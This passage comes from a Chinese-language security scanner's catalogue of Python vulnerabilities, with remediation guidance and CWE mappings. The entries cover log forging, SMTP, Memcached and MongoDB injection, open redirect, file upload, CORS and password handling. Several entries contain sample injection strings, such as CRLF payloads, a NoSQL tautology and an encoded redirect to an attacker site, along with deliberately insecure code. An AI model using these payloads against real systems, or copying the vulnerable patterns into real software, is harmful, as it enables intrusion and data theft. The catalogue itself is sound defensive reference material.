request.GET["val"] try: int_value = int(val) except: logger.debug("Failed to parse val = " + val) ... 如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目： INFO: Failed to parse val=twenty-one 然而，如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”，则日志中会记录以下条目： INFO: Failed to parse val=twenty-one

返回目录

	INFO: User logged out=badguy 显然，攻击者可以使用同样的机制插入任意日志条目。
建议	使用间接方法防止 Log Forging 攻击：创建一组与不同事件一一对应的合法日志条目，这些条目必须记录在日志中，并且仅记录该组条目。要捕获动态内容（如用户注销系统），请务必使用由服务器控制的数值，而非由用户提供的数据。这就确保了日志条目中绝不会直接使用由用户提供的输入。 可以按以下方式将例 1 重写为与 NumberFormatException 对应的预定义日志条目： ... NFE = "Failed to parse val. The input is required to be an integer value." ... val = request.GET["val"] try: int_value = int(val) except: logger.debug(NFE) ... 在某些情况下，这个方法有些不切实际，因为这样一组合法的日志条目实在太大或是太复杂了。这种情况下，开发者往往又会退而采用执行拒绝列表方法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。然而，不安全字符列表很快就会不完善或过时。更好的方法是创建一个字符列表，允许其中的字符出现在日志条目中，并且只接受完全由这些经认可的字符组成的输入。在大多数 Log Forging 攻击中，最关键的字符是“\n”换行符，这样的字符决不能出现在日志条目允许列表中。
CWE	CWE ID 117
OWASP2017	A1 Injection

返回目录

漏洞名称	**Mail Command Injection:SMTP**
默认严重性	4.0
摘要	X（文件） 中的 XX（方法） 方法会利用由不可信赖的数据构建的 SMTP 命令来调用 XX（函数）。这种调用会导致 SMTP 服务器以攻击者的名义执行恶意命令。从不可信赖数据源执行 SMTP 命令，可能会导致 SMTP 服务器以攻击者的名义执行恶意命令。
解释	当攻击者可以影响发送到 SMTP 邮件服务器的命令时，就会发生 SMTP Command Injection 漏洞。 1. 数据从不可信赖的数据源进入应用程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据被用作代表应用程序所执行命令的字符串，或字符串的一部分。 在这种情况下，SMTP 命令由 Y（文件）的第 M 行的 Y（函数） 执行。 3. 通过执行 SMTP 命令，攻击者能够指示服务器执行恶意操作，例如发送垃圾邮件。 示例 1：以下代码使用 HTTP 请求参数来构建将发送到 SMTP 服务器的 VRFY 命令。攻击者可以利用此参数修改发送到服务器的命令，并使用 CRLF 字符注入新命令。 ... user = request.GET['user'] session = smtplib.SMTP(smtp_server, smtp_tls_port) session.ehlo() session.starttls() session.login(username, password) session.docmd("VRFY", user) ...
建议	应当禁止用户直接控制由程序执行的 SMTP 命令。在用户的输入会影响命令执行的情况下，应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容，传递到命令执行函数的值将默认从安全命令集合中选择，或者程序将拒绝执行任何命令。 在需要将用户的输入用作程序命令中的参数时，由于合法的参数集合实在很大，或是难以跟踪，使得这个方法通常都不切实际。在这种情况下，开发人员通常的做法是执行拒绝列表。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何一个定义不安全内容的列表都很可能是不完整的，并且会严重地依赖于执行命令的环境。如果不这样，建议检验允许列表，以便仅接受完全由这些经预先认可的字符组成的输入。
CWE	CWE ID 88, CWE ID 93, CWE ID 147
OWASP2017	A1 Injection

返回目录

漏洞名称	**Memcached Injection**
默认严重性	5.0
摘要	X（文件） 的第 N 行调用了通过不可信来源的输入构建的 Memcached 操作。此调用使得攻击者能够在 Memcached 缓存中引入新的键/值对。通过不可信来源的输入调用 Memcached 操作可能会使得攻击者能够在 Memcached 缓存中引入新的键/值对。
解释	在以下情况下会发生 Memcached injection 错误： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据用于动态构造 Memcached 键或值。 在这种情况下，数据将传递到 Y（文件）的第 M 行中的 Y（函数）。 例 1：以下代码动态构造 Memcached 键。 ... def store(request): id = request.GET['id'] result = get_page_from_somewhere() response = HttpResponse(result) cache_time = 1800 cache.set("req-" % id, response, cache_time) return response ... 这段代码要执行的操作如下所示： set req-1233 0 0 n <serialized_response_instance> 但由于此操作是通过连接固定密钥前缀和用户输入字符串动态构造的，因此攻击者可发送字符串 ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-，然后操作如下所示： set req-ignore 0 0 1 1 set injected 0 3600 10 0123456789 set req-1233 0 0 n <serialized_response_instance> 上述密钥将在缓存 injected=0123456789 中成功添加新的键/值对。根据有效负载的不同，攻击者将能够通过注入要在反序列化时执行任意代码的 Pickle 序列化有效负载来破坏缓存或执行任意代码。
建议	请勿允许用户直接控制 Memcached 键/值对。当用户输入一定会影响要运行的操作时，应将用户输入限制为仅从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容，传递到命令执行函数的值将默认从安全命令集合中选择，或者程序将拒绝执行任何命令。

返回目录

	在必须将用户输入用作 Memcached 操作中的键/值对时，由于合法的参数值集合实在很大，或是难以跟踪，使得这个方法通常都不切实际。在这种情况下，开发人员通常的做法是执行拒绝列表。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何一个定义不安全内容的列表都很可能是不完整的，并且会严重地依赖于执行命令的环境。如果不这样，建议检验允许列表，以便仅接受完全由这些经预先认可的字符组成的输入。
CWE	CWE ID 20
OWASP2017	A1 Injection

返回目录

漏洞名称	**Missing Content Security Policy**
默认严重性	3
摘要	Web 应用程序中未显式定义内容安全策略。
解释	内容安全策略标头要求脚本来源、嵌入的（子）框架、嵌入（父）框架或图像等内容源是当前网页信任和允许的内容来源；如果网页中的内容来源不符合严格的内容安全策略，浏览器会立即拒绝该内容。未定义策略会使应用程序的用户容易受到跨站点脚本 (XSS) 攻击、点击劫持攻击、内容伪造攻击等。 现代浏览器使用内容安全策略标头作为可信任内容来源的指示，这包括媒体、图像、脚本、框架等。如果未明确地定义这些策略，则默认的浏览器行为是允许不可信任的内容。
建议	根据业务要求和外部文件托管服务的部署布局，为所有适用的策略类型（frame、script、form、script、media、img 等）显式设置内容安全策略标头。特别是不要使用通配符 '*' 来设置这些策略，因为这将允许所有外部来源的内容。 内容安全策略可在 web 应用程序代码中通过 web 服务器配置显式定义，也可在 HTML 的 <head> 部分的 <meta> 标记中定义。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**Missing HSTS Header**
默认严重性	4
摘要	Web 应用程序未定义 HSTS 标头，使其容易受到攻击。
解释	未设置 HSTS 标头并为其提供至少一年的合理 "max-age" 值可能会使用户容易受到中间人攻击。 很多用户浏览网站时只在地址栏中输入域名，不使用协议前缀。浏览器会自动假定用户的预期协议是 HTTP，而不是加密的 HTTPS 协议。 发出这个初始请求后，攻击者可以执行中间人攻击，通过操作将用户重定向到攻击者选择的恶意网站。为了避免用户受到此类攻击，HTTP 严格传输安全 (HSTS) 标头禁止用户的浏览器使用不安全的 HTTP 连接与 HSTS 标头关联的域。 支持 HSTS 功能的浏览器访问网站并设置标头后，它就不会再允许通过 HTTP 连接与域通信。 为特定网站发布 HSTS 标头后，只要 "max-age" 值仍然适用，浏览器就会禁止用户手动覆盖和接受不可信任的 SSL 证书。推荐的 "max-age" 值为至少一年，即 31536000 秒。
建议	设置 HSTS 标头前 - 先考虑它的意义： 使用 HTTPS 会在将来禁止使用 HTTP，这可能影响部分测试 禁用 HSTS 也不是简单的事，因为如果在网站上禁用，就必须再在浏览器上禁用 在应用程序代码中显式设置 HSTS 标头，或使用 Web 服务器配置。 确保 HSTS 标头的 "max-age" 值设置为 31536000，以保证严格实施 HSTS 至少一年。 加入 "includeSubDomains" 以最大化 HSTS 覆盖范围，并保证当前域下的所有子域强制实施 HSTS 注意这可能会使安全浏览器无法访问使用 HTTP 的任何子域；但是，使用 HTTP 不安全而且非常不建议，即使是没有敏感信息的网站也不应该使用，因为此类网站的内容仍会受到中间人攻击的篡改对 HTTP 域下的用户进行钓鱼攻击。 实施 HSTS 后，将 Web 应用程序的地址提交到 HSTS 预加载列表——这可确保即使客户端是第一次访问 Web 应用程序（即 Web 应用程序尚未设置 HSTS），遵守 HSTS 预加载列表的浏览器仍会将 Web 应用程序视为已经发布了 HSTS 标头。注意这要求服务器有可信任的 SSL 证书，并发布了 maxAge 为 1 年 (31536000) 的 HSTS 标头 注意此查询会为每个应用程序返回一个结果。这意味着如果识别出多个易受攻击的无 HSTS 标头的响应，则仅将第一个已识别实例作为结果。如果发现配置错误的 HSTS 实例（寿命短，或缺少 "includeSubDomains" 标记），该结果就会被标记。因为必须在整个应用程序中实施 HSTS 才能视为 HSTS 功能的安全部署，所以如果只在查询显示此结果的地方修复问题，后续可能还会在应用程序的其他部

返回目录

	分产生问题；所以，通过代码添加此标头时，请确保它在整个应用程序中部署一致。如果通过配置添加此标头，请确保此配置适用于整个应用程序。 请注意配置错误的不含推荐 max-age 值至少一年的 HSTS 标头或 "includeSubDomains" 标记仍会为缺少 HSTS 标头返回结果。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**NoSQL Injection:MongoDB**
默认严重性	5.0
摘要	在 X（文件） 的第 N 行，XX（方法） 方法会调用通过不受信任来源的输入构建的 MongoDB 查询。 通过这种调用，攻击者能够修改语句的含义。通过不可信来源的输入构建动态 MongoDB 查询，攻击者就能够修改语句的含义。
解释	发生以下情况时，MongoDB 中会出现 NoSQL Injection 错误： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据经由 X（文件） 的第 N 行进入 X（函数）。 2. 数据用于动态地构造 MongoDB 查询。 这种情况下，数据将传递到 Y（文件） 的第 M 行中的 Y（函数）。 示例 1： 以下代码动态地构造并执行 MongoDB 查询，以便搜索具有特定 ID 的电子邮件。 ... userName = req.field('userName') emailId = req.field('emailId') results = db.emails.find({"$where", "this.owner == \"" + userName + "\" & this.emailId == \"" + emailId + "\""}); ... 查询计划执行以下代码： this.owner == "<userName>" & this.emailId == "<emailId>" 但是，由于这个查询是动态构造的，由一个常数基本查询字符串和一个用户输入字符串连接而成，因此只有在 emailId 不包含双引号字符时，该查询才能正常运行。 如果一个用户名为 wiley 的攻击者为 emailId 输入字符串 123" || "4" != "5，则该查询会变成： this.owner == "wiley" & this.emailId == "123" || "4" != "5" 如果添加条件 || "4" != "5"，where 子句的值将始终为 true，则无论电子邮件的所有者是谁，该查询都会返回 emails 集合中存储的所有条目。
建议	避免基于注入的攻击的传统方法之一是，将它们作为输入验证问题来处理，并仅接受安全值允许列表中的字符。检验允许列表是一种非常有效的方法，它可以强制执行严格的输入验证规则。但是，在某些情况下，可能无法轻松构造安全的允许列表或验证模式。例如，虽然验证数字字段或仅包含英文字母的用户名非常简单，但是验证允许使用元字符的博客帖子就比较困难。 另一种解决方案是对不可信数据中的特殊字符进行转义。就 Example 1 而言，应用程序可以在连接字符串之前将所有双引号转义为反斜杠双引号。但是，除了引号字符之外，还需要考虑其他元字符导致的负面

返回目录

	影响。例如，在某些实现中，空字节或换行符“\n”可能会破坏查询的最初预期逻辑。 避免 MongoDB 中的 NoSQL Injection 的最佳解决方法是，使用参数绑定而非动态字符串连接来生成查询字符串。 示例 2： 可以按以下方式将示例 1 重写为使用参数绑定来构造该查询： ... userName = req.field('userName') emailId = req.field('emailId') results = db.emails.find({"owner": userName, "emailId": emailId}); ...
CWE	CWE ID 89, CWE ID 943
OWASP2017	A1 Injection

返回目录

漏洞名称	**Often Misused:File System**
默认严重性	2.0
摘要	由参数 umask() 指定的掩码常常很容易与 chmod() 的参数混淆。
解释	umask() man page 以错误的指令开始: “umask sets the umask to mask & 0777” 尽管这种行为可以更好地遵从 chmod() 的用法，这种情况下，由用户提供的参数指定在特定文件上启用的位数，但事实上 umask() 的行为恰恰相反：umask() 将 umask 设为 ~mask & 0777。 umask() man page 接下来描述了 umask() 的正确使用方法: “umask 用于为新建文件设置初始文件权限。具体的说，将会通过 mode 参数关闭 umask 中的权限（例如，umask 的通用默认值 022 会导致以权限 0666 & ~022 = 0644 = rw-r--r-- 创建新文件，而在正常情况下，mode 应该为 0666）。”
建议	为计算合适的 umask 值，用 666 减去该 umask（用于文件），或用 777 减去该 umask（用于目录）。 确保 umask 值以“0”开头， 以表明这是一个八进制值。否则，会将 umask 值解析为十进制值。
CWE	CWE ID 249, CWE ID 560
OWASP2017	None

返回目录

漏洞名称	**Often Misused:File Upload**
默认严重性	3.0
摘要	X（文件） 中的函数 XX（方法） 访问第 N 行的 HttpRequest.FILES。允许用户上传文件可能会让攻击者注入危险内容或恶意代码，并在服务器上运行。 允许用户上传文件可能会让攻击者注入危险内容或恶意代码，并在服务器上运行。

解释	无论编写程序所用的语言是什么，最具破坏性的攻击通常都会涉及执行远程代码，攻击者借此可在程序上下文中成功执行恶意代码。如果允许攻击者向某个可通过 Web 访问的目录上传文件，并能够将这些文件传递给 Python 解释器，这些攻击者就能让这些文件中包含的恶意代码在服务器上执行。
	示例 1：以下代码会处理上传的文件，并将它们移到 Web 根目录下的一个目录中。攻击者可以将恶意文件上传到该程序，并随后从服务器中请求这些文件。
	from django.core.files.storage import default_storage
	from django.core.files.base import File
	...
	def handle_upload(request):
	files = request.FILES
	for f in files.values():
	path = default_storage.save('upload/', File(f))
	...
	即使程序将上传的文件存储在一个无法通过 Web 访问的目录中，攻击者仍然有可能通过向服务器环境引入恶意内容来发动其他攻击。如果程序容易出现 path manipulation、command injection 或 remote include 漏洞，那么攻击者就可能上传带恶意内容的文件，并利用另一种漏洞促使程序读取或执行该文件。

建议	如果程序必须允许文件上传，则应当只接受程序需要的特定类型的内容，从而阻止攻击者提供恶意内容。依赖于上传内容的攻击通常要求攻击者能够提供他们自行选择的内容。限制此内容可以在最大程度上限制可能被攻击的范围。使用 Django Model 和 Form 字段来验证文件类型。
	例 2：以下代码使用 ModelForm 和 magic 模块一起来确保仅上传给定大小的 XML 文件。
	class UploadedFileForm(ModelForm):
	def clean_file(self):
	file = self.cleaned_data.get("file", False)
	content = file.read()
	if len(content) > 2048:
	raise ValidationError("File too big.")
	filetype = magic.from_buffer(content)

返回目录

	if not "XML" in filetype: raise ValidationError("File is not XML.") return file ... 除验证文件类型、大小和内容外，为了使攻击者难以破译上传文件的名称和位置，使用随机上传目录名称也是一种不错的方法。这种解决方法通常是因程序而异的，并且在以下几个方面各不相同：将上传的文件存储在一个目录中（目录名称是在程序初始化时通过强随机值生成的）、为每个上传的文件分配一个随机名称，以及利用数据库中的条目跟踪这些文件。
CWE	CWE ID 434
OWASP2017	A1 Injection

返回目录

漏洞名称	**Often Misused:Privilege Management**
默认严重性	2.0
摘要	X（文件） 中的 XX（方法） 函数没有遵守最低权限这一原则，会增加引发其他漏洞的风险。没有遵守最低权限原则会增加引发其他漏洞的风险。
解释	利用 root 权限运行的程序已经造成了无数的 Unix 安全灾难。仔细检查您的程序授权是否会引发安全问题十分必要，同样重要的是，对那些授予了权限的应用程序，应及时撤销其权限并返回至未授权状态，把因忽略漏洞而引发的破坏控制到最小。 在这种情况下，调用的 privilege management 函数是 X（文件） 中第 N 行的 XXX（函数）。 Privilege management 函数有时会以一些不明显的方式运行，并且它们在不同的平台上面会有较大差异。当您从一个非 root 用户切换到另外一个用户时，这种差异会尤其明显。 信号处理程序以及产生的进程会在其本身进程所具有的权限运行，所以当触发某一个信号或执行子进程时，一个进程以 root 权限运行，信号处理程序或者子进程将会以 Root 权限运行。因此，攻击者有可能利用这个提高的权限来进行更严重的破坏。
建议	如果程序经过重写后可不需要 root 访问权限，请进行重写。 请在提高权限之前关闭信号，以避免信号处理代码会以意外的权限运行。在将权限降低回到用户权限后，可重新启用信号。 请尽可能在完成需要特定权限的操作后，通过立即调用一个非零参数的 setuid() 来丢弃权限。 在有些情况下，应用程序可能无法调用 setuid()/setgid() 来丢弃权限。尤其当应用程序需要不断地以 root 身份代表用户来执行某些操作时，会发生这种情况。比如，一个 FTP 进程需要绑定到 1 至 1024 之间的端口以便于为用户请求服务。在这样的情况下，seteuid() 和 getegid() 函数的使用应该暂时降低到一个较低权限等级，并且保留在需要时返回为 root 的能力。请注意，这同样会使攻击者可以很容易地把应用程序退回到 root 权限，所以当无法完全丢弃权限的时候，应该只使用 seteuid()/getegid()。 以下程序大体勾勒出了构造较好的 setuid root 程序。 runner_uid = os.getuid() runner_gid = os.getgid() owner_uid = os.geteuid() owner_gid = os.getegid() # Drop privileges right up front, but we'll need them back in a little bit, so use effective id if (os.setreuid(owner_uid, runner_uid) || os.setregid(owner_gid, runner_gid)): exit(-1)

返回目录

	# privilege not necessary or desirable at this point
	processCommandLine(sys.argv)
	# Take privileges back
	if (os.setreuid(runner_uid, owner_uid) ||
	os.setregid(runner_gid, owner_gid)):
	exit(-1)
	# requires root
	openSocket(88)
	# Drop privileges for good
	if (os.setuid(runner_uid) || os.setgid(runner_gid)):
	exit(-1)
	doWork()
	另外一个既能够保留权限又能最小化风险的办法是把程序分割成需要权限和不需要权限的部分。创建两个进程：一个进程会在没有权限的状态下完成大部分工作，另外一个进程持有权限，但仅在其他进程要求时才会执行十分有限的操作。

CWE	CWE ID 250
OWASP2017	None

返回目录

漏洞名称	**Open Redirect**
默认严重性	4.0
摘要	X（文件） 文件将未验证的数据传递给第 N 行的 HTTP 重定向函数。如果允许未验证的输入控制重定向机制所使用的 URL，可能会有利于攻击者发动钓鱼攻击。如果允许未验证的输入控制重定向机制所使用的 URL，可能会有利于攻击者发动钓鱼攻击。
解释	通过重定向，Web 应用程序能够引导用户访问同一应用程序内的不同网页或访问外部站点。应用程序利用重定向来帮助进行站点导航，有时还跟踪用户退出站点的方式。当 Web 应用程序将客户端重定向到攻击者可以控制的任意 URL 时，就会发生 Open redirect 漏洞： 攻击者可以利用 Open redirect 漏洞诱骗用户访问某个可信赖站点的 URL，并将他们重定向到恶意站点。攻击者通过对 URL 进行编码，使最终用户很难注意到重定向的恶意目标，即使将这一目标作为 URL 参数传递给可信赖的站点时也会发生这种情况。因此，Open redirect 常被作为钓鱼手段的一种而滥用，攻击者通过这种方式来获取最终用户的敏感数据。 这种情况下，系统会通过 X（文件） 的第 N 行中的 X（函数） 接受客户端即将被重定向到的 URL。 数据通过 Y（文件） 的第 M 行中的 Y（函数） 传送。 例 1：以下 Python 代码会在用户单击链接时，指示用户浏览器打开从 dest 请求参数中解析的 URL。 ... strDest = request.field("dest") redirect(strDest) ... 如果受害者收到一封电子邮件，指示其打开“http://trusted.example.com/ecommerce/redirect.asp?dest=www.wilyhacker.com”链接，该用户就有可能会单击该链接，因为他会认为该链接会转到可信赖的站点。然而，当受害者单击该链接时，Example 1 中的代码就会将浏览器重定向到“http://www.wilyhacker.com”。 很多用户都被告知，要始终监视通过电子邮件收到的 URL，以确保链接指向一个他们所熟知的可信赖站点。尽管如此，如果攻击者对目标 URL 进行 16 进制编码： "http://trusted.example.com/ecommerce/redirect.asp?dest=%77%69%6C%79%68%61%63%6B%65%72%2E%63%6F%6D" 那么，即使再聪明的最终用户也可能会被欺骗，打开该链接。
建议	不应当允许未验证的用户输入控制重定向机制中的目标 URL。而应采用间接方法：创建一份合法 URL 列表，用户可以指定其中的内容并且只能从中进行选择。利用这种方法，就绝不会直接使用用户提供的输入来指定要重定向到的 URL。

返回目录

	但在某些情况下，这种方法并不可行，因为这样一份合法 URL 列表过于庞大、难以跟踪。这种情况下，有一种类似的方法也能限制用于重定向用户的域，这种方法至少可以防止攻击者向用户发送恶意的外部站点。
CWE	CWE ID 601
OWASP2017	None

返回目录

漏洞名称	**OS Access Violation**
默认严重性	5
摘要	X（文件） 文件第 N 行的用户提供输入 XX（元素） 未经验证便被 Y（文件） 文件第 M 行的文件操作 YY（元素） 使用。
解释	攻击者可能会准备恶意的输入数据，导致访问冲突、隐私数据泄露、破坏数据或拒绝服务攻击（DEP 违规和应用程序崩溃） Python 的 OS 模块提供了一个可移植接口，用于使用主机操作系统功能。OS 模块接口可进行创建、删除和操作主机文件、目录和链接的操作。 Python 的 OS 模块允许访问和操作任意文件。如果攻击者能够将特制的输入路径传递给 OS 模块，就可能会发生信息泄漏或数据损坏。
建议	不要根据从不可信任的或用户控制的源收到的输入执行文件操作。 确保正确地验证要操作的文件路径: 尽量避免使用依赖用户输入中的文件路径。 一定要充分地审查文件路径。 将文件路径访问限制在特定的目录中（沙盒）。 创建可以安全操作的文件或目录的白名单并仅允许访问这些文件或目录。
CWE	CWE ID 77
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Overly Permissive Cross Origin Resource Sharing Policy**
默认严重性	3
摘要	X（文件） 文件第 N 行上的 XXX（方法） 方法设置了过度宽松的 CORS 访问控制来源标头。
解释	过于宽松的跨域资源共享 (CORS) 标头 "Access-Control-Allow-Origin" 可能会使其他网站的脚本可以访问、甚至篡改受影响的 web 应用程序上的资源。这些资源包括页面内容、Token 等，因此可能受到跨站点请求伪造 (CSRF) 或跨站点脚本 (XSS) 攻击、假冒用户执行操作，如更改密码或违反用户隐私。 默认情况下，现代浏览器会根据同源策略 (SOP) 禁止不同域之间的资源共享访问彼此的 DOM 内容、cookie jar 和其他资源，这是为了避免恶意 Web 应用程序攻击合法的 Web 应用程序及其用户。例如——网站 A 默认无法检索网站 B 的内容，因为这违反了 SOP。使用具体标头定义的跨域资源共享 (CORS) 策略可以放松这个严格的默认行为，允许跨站点通信。但是，如果使用不当，CORS 可能会允许过度地广泛信任 Web 应用程序，使其能够提交请求并获得 Web 应用程序的响应，从而执行意外的或潜在恶意的行为。 代码中的 Access-Control-Allow-Origin 被错误地设置为不安全的值。
建议	如果没有显式要求，请不要设置任何 CORS 标头。如果有需要，请考虑设置这些标头的业务需求，然后选择最严格的配置，例如可信任的白名单、安全和允许的域访问，同时使用其他 CORS 标头严格地提供所需的和预期的功能。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**Parameter Tampering**
默认严重性	4
摘要	X（文件） 文件第 N 行的方法 XXX（方法） 从元素 XX（元素） 获取用户输入。此输入稍后被应用程序直接拼接到包含 SQL 命令的字符串变量中，且未进行验证。然后该字符串被 YYY（方法） 方法用于查询 Y（文件） 文件第 M 行的数据库 YY（元素），且数据库未对其进行任何过滤。这可能使用户能够篡改过滤器参数。
解释	恶意用户可以访问其他用户的信息。通过直接请求信息（例如通过帐号），可以绕过授权，并且攻击者可以使用直接对象引用窃取机密或受限的信息（例如，银行账户余额）。 应用程序提供用户信息时，没有按用户 ID 进行过滤。例如，应用程序可能仅按照提交的帐户 ID 提供信息。应用程序将用户输入直接拼接到 SQL 查询字符串，未做任何过滤。应用程序也未对输入执行任何验证，也未将其限制为预先计算的可接受值列表。
建议	通用指南： 提供任何敏感数据之前先强制检查授权，包括特定的对象引用。 明确禁止访问任何未经授权的数据，尤其是对其他用户数据的访问。 尽量避免允许用户简单地发送记录 ID 即可请求任意数据。例如，应用程序应查找当前经过身份验证的用户会话的帐户 ID，而不是让用户发送帐户 ID。 具体措施： 不要直接将用户输入拼接到 SQL 查询中。 在 SQL 查询的 WHERE 子句中添加用户特定的标识符作为过滤器。 将用户输入映射到间接引用，例如通过预先准备的允许值列表。
CWE	CWE ID 472
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Password In Comment**
默认严重性	3
摘要	应用程序包含嵌入到源代码注释中的密码，例如 X（文件） 文件第 N 行的 XX（元素），这会被用户轻松看到。
解释	通常应用程序的源代码都是可以检索和查看的。如果是 Web 应用程序，还可以更方便地在用户浏览器中操作 "View Source"。因此，恶意用户可以窃取这些密码，并用其冒充任何拥有该密码的所有人身份。而且不好确定此类密码是否是有效的、最新的密码，也不好确定其是用户密码还是后端系统（如数据库）的密码。 设计良好的应用程序应为源代码提供充分的注释。通常，程序员会将部署信息留在注释中，或保留开发期间使用的调试数据。这些注释通常包含秘密数据，例如密码。这些密码注释会永久保存在源代码中，不受保护。
建议	不要在源代码注释中保存密码等秘密信息。
CWE	CWE ID 615
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Password Management**
默认严重性	3.0
摘要	X（文件） 中的 XX（方法） 方法在第 N 行使用明文密码。采用明文的形式存储密码会危及系统安全。采用明文的形式存储密码会危及系统安全。
解释	当密码以明文形式存储在应用程序的属性文件或其他配置文件中时，会发生 password management 漏洞。 在这种情况下，密码会通过 X（文件） 中第 N 行的 X（函数） 读取到程序中，并用于访问 Y（文件） 中第 M 行的 Y（函数） 资源。 示例：以下代码可以从属性文件中读取密码，并使用该密码连接到数据库。 ... props = os.open('config.properties') password = props[0] link = MySQLdb.connect (host = "localhost", user = "testuser", passwd = password, db = "test") ... 该代码可以正常运行，但是任何对 config.properties 具有访问权限的人都能读取 password 的值。任何心怀不轨的雇员可以利用手中掌握的信息访问权限入侵系统。
建议	绝不能采用明文的形式存储密码。应由管理员在系统启动时输入密码。如果这种方法不切实际，一个安全性较差、但通常都比较恰当的解决办法是将密码模糊化，并把这些去模糊化的资源分散到系统各处，因此，要破译密码，攻击者就必须取得并正确合并多个系统资源。 有些第三方产品宣称可以采用更加安全的方式管理密码。例如，WebSphere Application Server 4.x 用简单的异或加密算法加密数值，但是请不要对诸如此类的加密方式给予完全的信任。WebSphere 以及其他一些应用服务器通常都只提供过期的且相对较弱的加密机制，这对于安全性敏感的环境来说是远远不够的。安全的做法来是采用由用户创建的所有者机制，而这似乎也是目前唯一可行的方法。
CWE	CWE ID 256
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Empty Password**
默认严重性	4.0
摘要	Empty password 可能会危及系统安全，并且无法轻易修正出现的安全问题。
解释	为密码变量指定空字符串绝非一个好方法。如果使用 empty password 成功通过其他系统的验证，那么相应帐户的安全性很可能会被减弱，原因是其接受了 empty password。如果在为变量指定一个合法的值之前，empty password 仅仅是一个占位符，那么它将给任何不熟悉代码的人造成困惑，而且还可能导致出现意外控制流路径方面的问题。 在这种情况下，在对 X（文件）第 N 行中的 XXX（函数） 的调用中发现空密码。 示例：以下代码尝试使用空密码连接到数据库。 ... db = mysql.connect("localhost","scott","","mydb") ... 如果此示例中的代码成功执行，则表明数据库用户帐户“scott”配置有一个空密码，攻击者可以轻松地猜测到该密码。一旦程序发布，要更新此帐户以使用非空密码，就需要对代码进行更改。
建议	始终从加密的外部资源读取存储的密码值，并为密码变量指定有意义的值。确保从不使用空密码或 null 密码来保护敏感资源。
CWE	CWE ID 259
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Hardcoded Password**
默认严重性	4.0
摘要	Hardcoded password 可能会削弱系统安全性，并且无法轻易修正出现的安全问题。
解释	使用硬编码方式处理密码绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的密码，而且还会使解决这一问题变得极其困难。在代码投入使用之后，除非对软件进行修补，否则将无法更改密码。如果受密码保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。 在这种情况下，在 X（文件）的第 N 行上，对密码进行了硬编码。 示例：以下代码对密码进行了硬编码： password = "tiger" ... response.writeln("Password:" + password) 该代码可以正常运行，但是有权访问该代码的任何人都能得到这个密码。一旦程序发布，除非修补该程序，否则可能无法更改密码“tiger”。雇员可以利用手中掌握的信息访问权限入侵系统。更糟的是，如果攻击者能够访问应用程序的二进制码，他们就可以利用多种常用的反编译器来访问经过反汇编的代码，而在这些代码中恰恰包含着用户使用过的密码值。
建议	绝不能对密码进行硬编码。通常情况下，应对密码加以模糊化，并在外部资源文件中进行管理。在系统中采用明文的形式存储密码，会造成任何有充分权限的人读取和无意中误用密码。
CWE	CWE ID 259, CWE ID 798
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Lack of Key Derivation Function**
默认严重性	3.0
摘要	X（文件） 中的加密哈希函数 XX（方法） 用于为 N 行上的密码创建摘要。不应单独使用加密哈希函数为要存储的密码生成摘要。
解释	加密哈希函数是单向函数，被视为几乎不可反转；也就是说，要单独使用其摘要值重新创建输入数据。以前，这些哈希函数被认为是安全的密码存储方式，因为即使攻击者能够访问原始密码的摘要值，也无法从摘要值恢复原始密码。事实证明，这种观点是错误的，因为攻击者通过“彩虹表”使用字典式攻击，所以他们能够预先算出数百万个词/词组的摘要值，一旦他们获得了密码摘要，只须将其值与“彩虹表”中存储的值相比较就可以获得原始密码。由于个人计算机的计算能力与日俱增，这项技术日渐落伍并迅速被“GPU”单元所支持的暴力攻击取代。攻击者无需再预先计算密码哈希（使用 salt 时这几乎不可能）；现在他们有足够的计算能力，可以逐字节暴力破解可能的密码。 例 1：以下示例显示如何计算密码哈希，以及如何将其存储在数据库中用于将来的登录： import hashlib def register(request): password = request.GET['password'] username = request.GET['username'] hash = hashlib.md5(get_random_salt() + ":" + password).hexdigest() store(username, hash) ...
建议	为了减缓密码哈希生成过程以使攻击者无法使用暴力攻击技术，请使用基于密码的密钥衍生函数或 PBKDF 来代替单独的加密哈希函数。PBKDF 是可从机密密码中获得机密密钥的函数。根据所选的具体算法，过程可能有所不同，但大多数可表达为：DK = PBKDF(<hash function>, <password>, <salt>, <iteration count>, <DK length>)。算法允许选择迭代次数值来控制过程的快慢程度。因此，如果将来的技术能够实现新的暴力攻击，那么可以通过增加迭代次数来增强 PBKDF。 例 2：以下示例显示如何使用基于密码的密钥衍生函数来计算密码哈希： import hashlib, binascii def register(request): password = request.GET['password'] username = request.GET['username'] salt = get_random_salt() dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000)

返回目录

	hash = binascii.hexlify(dk) store(username, hash) ... 注：如果不设置 PBKDF 衍生密钥长度，那么在默认情况下该函数将衍生出大小与 PBKDF 使用的哈希函数相同的密钥。如果衍生密钥长度大于哈希函数长度，则用于密码存储时不会增加衍生密钥的长度。只有在使用 PBKDF 衍生加密密钥且加密算法指示固定密钥长度时，固定衍生密钥长度才有意义。
CWE	CWE ID 261
OWASP2017	A3 Sensitive Data Exposure

返回目录

